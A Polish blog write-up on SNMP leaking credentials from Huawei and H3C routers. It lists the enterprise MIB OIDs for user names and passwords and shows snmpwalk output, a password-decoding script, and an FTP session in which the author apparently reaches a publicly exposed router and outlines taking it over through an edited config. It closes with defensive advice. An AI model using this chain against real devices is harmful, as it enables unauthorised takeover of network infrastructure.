SNMP

Simple Network Management Protocol jest jednym z najpowszechniej stosowanych i implementowanych w urządzeniach protokołów służących do monitorowania stanu sieci, systemów i usług. Jego obecność w praktycznie każdym urządzeniu podłączonym do sieci sprawia, że jest to najczęściej wybierane rozwiązanie służące do monitorowania, ale jednocześnie bardzo wielu administratorów ignoruje jego obecność zakładając, że coś tak wszechobecnego nie powinno nieść ze sobą zagrożeń i nie wymaga specjalnej uwagi. Czy jest to założenie słuszne? Niestety nie. W artykule opiszę ciekawy przypadek wycieku krytycznych danych pozwalających na zdalne przejęcie routera brzegowego i dostęp do zlokalizowanych za nim sieci lokalnych.

Jak to działa.

Przypomnijmy sobie jak działa SNMP. Na urządzeniach wspierających obsługę tego protokołu pracuje usługa agenta SNMP, której zadaniem jest odpowiadanie na zapytania dotyczące stanu poszczególnych komponentów systemu zarówno sprzętowych, jak i systemowych. Agent może zostać odpytany np. o stan interfejsów sieciowych, ich aktualne obciążenie, czy też parametry systemu operacyjnego takie jak chociażby jego nazwa, wersja, uptime. Poszczególne parametry, o które możemy odpytywać agenta oprogramowaniem do monitorowania posiadają swoje identyfikatory OID. Identyfikatory te zdefiniowane są natomiast w bazie MIB. Wraz ze standardem SNMP dostarczana jest domyślna baza MIB-2, w której zdefiniowane zostały identyfikatory OID odpowiadające najpopularniejszym parametrom systemów. Poniżej widzimy drzewiastą strukturę takiej bazy w programie klienckim służącym do odpytywania agenta SNMP:

Powyższe dane pochodzą z dostępnego publicznie w Internecie routera operatorskiego firmy Huawei. Widzimy tutaj m.in. jego nazwę (Huawei Versatile Routing Platform), uptime 2562 godziny, liczbę interfejsów (117) oraz ich nazwy razem z nazwami subinterfejsów, które tożsame są najczęściej z identyfikatorami VLAN-ów. Przegląd całego drzewa MIB-2 pozwala też m.in. na ustalenie macadresów oraz adresów IP, tablicy routingu, nawiązanych sesji, ilości wysłanych i odebranych pakietów, liczby błędów i całej masy innych parametrów. Są to jak widać dane bardzo przydatne w procesie monitorowania stanu sieci.

Bezpieczeństwo SNMP

Dostęp do danych serwowanych przez agenta SNMP w pierwszych dwóch wersjach protokołu (1 i 2c), które cały czas jeszcze są powszechnie stosowane zabezpieczony jest niestety bardzo prymitywnym mechanizmem. Aby odpytać o konkretny OID wystarczy znać tzw. community name ustawiony na danym urządzeniu. Community name porównać można do nazwy grupy roboczej w systemie Windows. I podobnie jak „workgroup” w windowsach, tak w urządzeniach obsługujących protokół SNMP stosowana jest domyślna nazwa „public”. Praktycznie każde urządzenie sieciowe posiada domyślnie skonfigurowanego agenta SNMP z community name „public”. I tutaj pojawia się pierwsze zagrożenie: jeżeli nie zadbamy o zmianę nazwy community lub odfiltrowanie dostępu do usługi (port 161/udp), to każdy mający dostęp do danej sieci będzie mógł odpytać nasze urządzenie o całą listę parametrów dostępnych w bazie MIB.

Ale to nie wszystko. Trzeba też wiedzieć, że SNMP umożliwia nie tylko odpytywanie, ale również zmianę stanu urządzenia przez wysłanie polecenia konfiguracyjnego. Do tego służy najczęściej odrębne community name w trybie read/write. Podobnie jak poprzednio stosowana jest tutaj najczęściej domyślna wartość „private”, ale community name w trybie read/write rzadziej już jest włączone na urządzeniu domyślnie. Należy to jednak bezwzględnie zweryfikować zanim okaże się, że jakiś dowcipniś zdalnie zmodyfikuje nam np. tablice routingu albo wyłączy interfejs sieciowy.

W wersji 3 protokołu SNMP poza community name stosowany jest dodatkowy mechanizm uwierzytelniający wymagający zdefiniowania użytkownika i hasła lub certyfikatu. Ale to może się okazać przyczyną jeszcze większych problemów z bezpieczeństwem, o czym za chwilę.

Enterprise MIB

Zakres danych dostępnych w bazie MIB-2 jest dosyć szeroki, ale ogranicza się do standardowych parametrów większości systemów. A co gdybyśmy chcieli odpytać nasze urządzenie o jakieś specyficzne parametry związane z jego przeznaczeniem? Np. ilość operacji wejścia wyjścia systemu pamięci masowej albo ilość zapytań na sekundę do bazy danych? W tym celu standard SNMP umożliwia producentom implementowanie własnych baz MIB, tzw. enterprise MIB. I tutaj wyobraźnia producentów może się okazać zaskakująca. A może stosowniej byłoby powiedzieć, że to brak tej wyobraźni, ponieważ w przedstawionym powyżej urządzeniu Huawei za pomocą protokołu SNMP można odpytać o zdefiniowane w systemie nazwy użytkowników i hasła! Co więcej wszystko dostępne jest z użyciem domyślnego community name „public”, a protokół uruchomiony jest w wersji 2c nie wymagającej uwierzytelniania.

Wyciek loginów i haseł w praktyce

Ciekawostką może być fakt, że oprócz opisywanego routera Huawei również H3C (marka powstała z połączenia HP i 3Com) zarejestrowała swoją bazę MIB o praktycznie identycznej strukturze. Poniżej przedstawiłem identyfikatory OID stosowane w swoich bazach przez obu producentów do określania nazw użytkowników, ich haseł i poziomów dostępu. Nazwy zmiennych mogą wskazywać kto od kogo „zapożyczył” strukturę bazy.

Enterprise MIB 1.3.6.1.4.1.2011 (H3C)
local h3cUserName = 	"1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
local h3cUserLevel = 	"1.3.6.1.4.1.2011.10.2.12.1.1.1.4"

Enterprise MIB 1.3.6.1.4.1.25506 (Huawei)
local hh3cUserName = 	"1.3.6.1.4.1.25506.2.12.1.1.1.1"
local hh3cUserPassword ="1.3.6.1.4.1.25506.2.12.1.1.1.2"
local hh3cUserLevel = 	"1.3.6.1.4.1.25506.2.12.1.1.1.4"

Jak zatem odpytać o wartość konkretnego parametru OID? Wystarczy użyć dostępnego w większości systemów polecenia snmpget, np.:

> snmpget -v 2c -c public X.X.X.X 1.3.6.1.4.1.2011.10.2.12.1.1.1.1.1

iso.3.6.1.4.1.2011.10.2.12.1.1.1.1.1 = STRING: "admin"

Składni polecenia nie trzeba chyba tłumaczyć, X.X.X.X to adres IP, który z oczywistych względów utajniłem. Gdybyśmy jednak nie chcieli odpytywać o każdego użytkownika z osobna, możemy użyć innego narzędzia, które automatycznie „przejdzie” przez całe drzewo MIB lub wskazaną jego gałąź i pobierze dane:

> snmpwalk -v 2c -c public X.X.X.X 1.3.6.1.4.1.2011.10.2.12.1.1.1
iso.3.6.1.4.1.2011.10.2.12.1.1.1.1.1 = STRING: "admin"
iso.3.6.1.4.1.2011.10.2.12.1.1.1.1.2 = STRING: "serwis1"
iso.3.6.1.4.1.2011.10.2.12.1.1.1.1.3 = STRING: "tomaszj"
iso.3.6.1.4.1.2011.10.2.12.1.1.1.2.1 = STRING: "skeA#j'Y(0>3Rss)._uYEl!!"
iso.3.6.1.4.1.2011.10.2.12.1.1.1.2.2 = STRING: "s(0>ke#sJ'Y3RsYEls)._u!!"
iso.3.6.1.4.1.2011.10.2.12.1.1.1.2.3 = STRING: "#sk(0>kej3Rs'YYE._ls)u!!"
iso.3.6.1.4.1.2011.10.2.12.1.1.1.3.1 = INTEGER: 7
iso.3.6.1.4.1.2011.10.2.12.1.1.1.3.2 = INTEGER: 7
iso.3.6.1.4.1.2011.10.2.12.1.1.1.3.3 = INTEGER: 7
iso.3.6.1.4.1.2011.10.2.12.1.1.1.4.1 = INTEGER: 3
iso.3.6.1.4.1.2011.10.2.12.1.1.1.4.2 = INTEGER: 3
iso.3.6.1.4.1.2011.10.2.12.1.1.1.4.3 = INTEGER: 1

Mamy zatem trzech użytkowników i ich trzy hasła (wartości oczywiście zmienione na potrzeby artykułu). Siódemki zwrócone w kolejnych trzech parametrach oznaczają, iż hasła są zakodowane przy użyciu własnego algorytmu (0 oznaczałoby cleartext, a 9 hash sha256). Hasła zakodowane algorytmem Huawei charakteryzują się długością 24 znaków i dwoma wykrzyknikami na końcu. Natomiast ostatnie trzy parametry to poziomy dostępu użytkowników: 1 – najniższy, 3 – najwyższy.

Jak rozkodować hasła?

Nauczony praktyką, że da się znaleźć narzędzia pozwalające odkodować hasła zapisane w plikach konfiguracyjnych np. Cisco czy Mikrotika postanowiłem poszukać odpowiedniego narzędzia dla Huawei. Nie było aż tak łatwo, ale w końcu trafiłem na GitHubie na odpowiedni kod Pythona napisany przez jakiegoś Chińczyka. Co ciekawe działa on zarówno na hasła zakodowane na urządzeniach Huawei, jak i H3C, co wskazuje, że nie tylko bazy MIB, ale prawdopodobnie cały software w tych systemach jest identyczny. Poniżej wynik działania narzędzia:

> ./h3c.py s\(0\>ke\#sJ\'Y3RsYEls\)\.\_u\!\!
+--------------------------------------------------+
huawei/h3c交换机密码破解工具
Blog：http://www.waitalone.cn/
Code BY： 独自等待
Time：2015-07-03
+--------------------------------------------------+
解密结果：HasloAdmina80

Jak widać znajomość języka chińskiego nie jest wymagana. Istotne jest natomiast aby podając hasło poprzedzić backslashem każdy znak specjalny, inaczej skrypt nie zadziała.

Mamy hasła i loginy, co dalej?

Na badanym przeze mnie urządzeniu oprócz SNMP dostępne były też usługi Telnet, SSH i FTP. Mając loginy i hasła należało zatem sprawdzić gdzie nam się uda zalogować. W przypadku Telnetu i SSH administrator wykazał się jednak odrobiną zdrowego rozsądku i zdefiniował dozwolone adresy źródłowe, połączenie zostało zatem odrzucone. Jednak w przypadku FTP udało się nawiązać sesję, w ramach której testowo pobrałem plik konfiguracyjny routera i przesłałem inny by sprawdzić możliwość zapisu:

> ftp X.X.X.X
220 FTP service ready.
Name: admin
331 Password required for admin.
Password:
230 User logged in.
Remote system type is VRP3.
ftp> ls
-rwxrwxrwx 1 none nogroup 65793 Oct 17 09:04 config.cfg
ftp> put testfile 
226 Transfer complete.
ftp> del testfile
250 DELE command successful.
ftp> bye
221 Server closing.

Plik config.cfg to kompletny plik konfiguracyjny urządzenia. Wystarczy go zatem pobrać i dowolnie zmodyfikować dodając np. własnego użytkownika i dozwolone IP źródłowe dla połączeń SSH, a następnie wgrać z powrotem na urządzenie. W efekcie mamy zdalny dostęp do urządzenia i wszystkich „schowanych” za nim sieci.

Kto jest zagrożony?

Znajdując jakieś ciekawe zagrożenie warto sprawdzić ile urządzeń w Internecie jest na nie podatnych. Wyszukiwarka Shodan zwraca 6821 wyników dla zapytania „Huawei Versatile Routing Platform Software”,  z czego 6805 ma włączoną usługę SNMP, a 178 z nich zlokalizowanych jest na terenie Polski. Warto tutaj dodać, że producent w nowszych wersjach oprogramowania naprawił swój błąd, ale z niewiadomych względów większość urządzeń zlokalizowanych na terenie Polski pracuje właśnie pod kontrolą starych, podatnych wydań oprogramowania systemowego. Sugeruję sprawdzić swoje urządzenia i zapoznać się ze wskazówkami z punktu następnego.

Praktyczne porady na koniec

Po pierwsze wyłącz dostęp do SNMP (port 161/udp) dla przypadkowych klientów. Po drugie zmień domyślne community name, a najlepiej wyłącz wersje 1 lub 2c protokołu i stosuj jedynie wersję 3 z bezpiecznym uwierzytelnianiem. Po trzecie sprawdź jakie dane udostępnia producent w ramach zaimplementowanych na urządzeniu własnych baz MIB. Aby zbadać skalę zagrożenia posłuż się najlepiej skanerem nmap, który łatwo namierzy wszystkich działających agentów SNMP w twojej sieci i przy użyciu wbudowanych skryptów znajdzie związane z nimi zagrożenia. Można to zrobić np. poniższą komendą:

nmap -Pn -p161 -sV --version-all -A -sU 192.168.1.0/24 > wynik.txt

W pliku wynik.txt znajdziesz wyniki skanowania, a wśród nich m.in. użytkowników i hasła jeżeli posiadasz któreś z urządzeń Huawei lub H3C. Znalezionych agentów SNMP możesz też odpytać o całą zawartość bazy MIB stosując opisane wcześniej polecenie snmpwalk:

snmpwalk -v 2c -c public 192.168.1.1 1.3.6.1.2.1 > mib.txt

Po skończonym odpytaniu przejrzyj wyniki w pliku mib.txt. Licz się z tym, że urządzenie z dużą ilością interfejsów sieciowych może zwrócić dziesiątki tysięcy wartości.

Na koniec prośba: jeżeli artykuł Ci się podobał lub przydał zachęcam do subskrypcji, lajkowania i dzielenia się nim. Zmobilizuje mnie to do dostarczania kolejnych, wartościowych treści.

Obserwuj

Obserwuj